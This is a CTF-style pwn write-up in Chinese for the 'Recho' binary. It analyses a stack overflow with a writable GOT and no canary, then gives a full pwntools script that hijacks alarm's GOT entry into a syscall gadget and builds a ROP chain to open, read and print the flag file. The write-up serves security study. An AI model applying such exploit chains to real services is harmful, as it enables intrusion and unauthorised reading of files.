1.保护情况:checksec 可以发现是GOT表可写的,没有Canary保护
知识扩展:Partial RELRO一直段在初始化之后会被标记为只读。在Ubuntu16.06(GCC-5.4.0)上,默认GOT表可写。
学习题解
2.IDA分析:
学习题解
主体部分是循环函数,从标准输入流输入截取数字(atoi函数的作用),在第二个read函数存在缓冲区溢出漏洞,直截取40个字符,v6[40]=0.
学习题解
注意到Ctrl+Z在终端可以打断循环的。
3.观察:
Shift+ F12,查看字符串,发现发现flag字符,一般远程服务器的桌面会存在flag文件,此外可以发现alarm函数.
学习题解
alarm函数的学习:alarm()用来设置信号SIGALRM 在经过参数seconds 指定的秒数后传送给目前的进程. 如果参数seconds 为0, 则之前设置的闹钟会被取消, 并将剩下的时间返回.
学习题解
学习题解
具体的alarm函数可以用gdb调试,发现调用syscall,即系统调用函数。
学习题解
bss段可以写入。
学习题解
4.利用思路学习:由于while函数的作用,要求只能在一次循环中利用漏洞,因为每次函数的帧栈会被消除。ROP显然是一种思路。
参考其他人的思路之后,fd=open('flag',READONLY),利用syscall触发,syscall的可以修改GOT表实现,read(fa,&bss,0x200),write(1,&bss,0x200):flag从远程桌面文件到fd指针再到bss段,在读出到标准输出流。
ROPgadget --binary Recho --only "add|ret" 注意格式,指令之间不能有空格,add | ret会返回空。
from pwn import *
context.log_level = 'debug'
# io = process('./Recho') 本地调试
#io = remote(str(ip),port)
elf = ELF('./Recho')
# ROPgadget --binary Recho --only "pop|ret"
pop_rdi = 0x4008a3
pop_rdx = 0x4006fe
pop_rax = 0x4006fc
pop_rsi_r15 = 0x4008a1
# ROPgadget --binary Recho --only "add|ret"
rdi_add = 0x40070d
# 获取字符串地址
flag_addr = elf.symbols['flag']
# elf为pwntools的子模块,符号查找,plt,got,symbols方法常用
bss = elf.bss()
read_plt = elf.plt['read']
write_plt = elf.plt['write']
alarm_plt = elf.plt['alarm']
# alarm_got是指针,指向alarm地址,由gdb中偏移0x05位可以修改为syscall的地址
alarm_got = elf.got['alarm']
read_got = elf.got['read']
payload = 'a'*0x30 #覆盖buf[40]; // [rsp+10h] [rbp-30h]
payload +='a'*0x08 #覆盖 rbp
# alarm GOT表劫持到syscall位置
payload += p64(pop_rax)+p64(0x5) # al = 0x05
payload += p64(pop_rdi)+p64(alarm_got)
payload += p64(rdi_add)
# -------fd=open('flag',READONLY)-----
payload += p64(pop_rdi)+p64(flag_addr) #rdi='flag
payload += p64(pop_rsi_r15)+p64(0)+p64(0) #rsi=0(READONLY)
payload += p64(pop_rdx)+p64(0) # rdx = 0
payload += p64(pop_rax)+p64(0x2) # rax=2,open的调用号为2
# 执行alarm完成GOT表劫持,syscall的传参顺序是rdi,rsi,rdx,r10,r9,r8
payload += p64(alarm_plt)
# 将flag传回的值写入到bss段 read(fd,stdin_buffer,100)
payload += p64(pop_rdi)+p64(3) #open()打开文件返回的文件描述符一般从3开始,系统环境不一样也可能不是3,依次顺序增加
payload += p64(pop_rdx)+p64(0x2d) #指定长度
payload += p64(pop_rsi_r15)+p64(bss)+p64(0) # rsi = 写入的地址,用于存取open结果
payload += p64(read_plt)
# 输出flag值,write(1,bss,0x40),也可以用print函数
payload += p64(pop_rsi_r15)+p64(bss)+p64(0) # rsi = bss
payload += p64(pop_rdx)+p64(0x40) # rdx =0x40
payload += p64(pop_rdi)+p64(0x01) # rdi = 1
payload += p64(write_plt)
# 用printf 函数时,要注意bss段的可写性,bss此时应改为0x601090或者0x601070
# payload+=p64(pop_rdi)+p64(bss)+p64(printf_plt)
io.sendline(str(0x200))
# log.info('the length of payload is:',format(hex(len(payload))))
print 'the length of payload is:',format(hex(len(payload)))
payload = payload.ljust(0x200,'\x00')
io.send(payload)
io.recv()
io.shutdown('send')
io.interactive()
|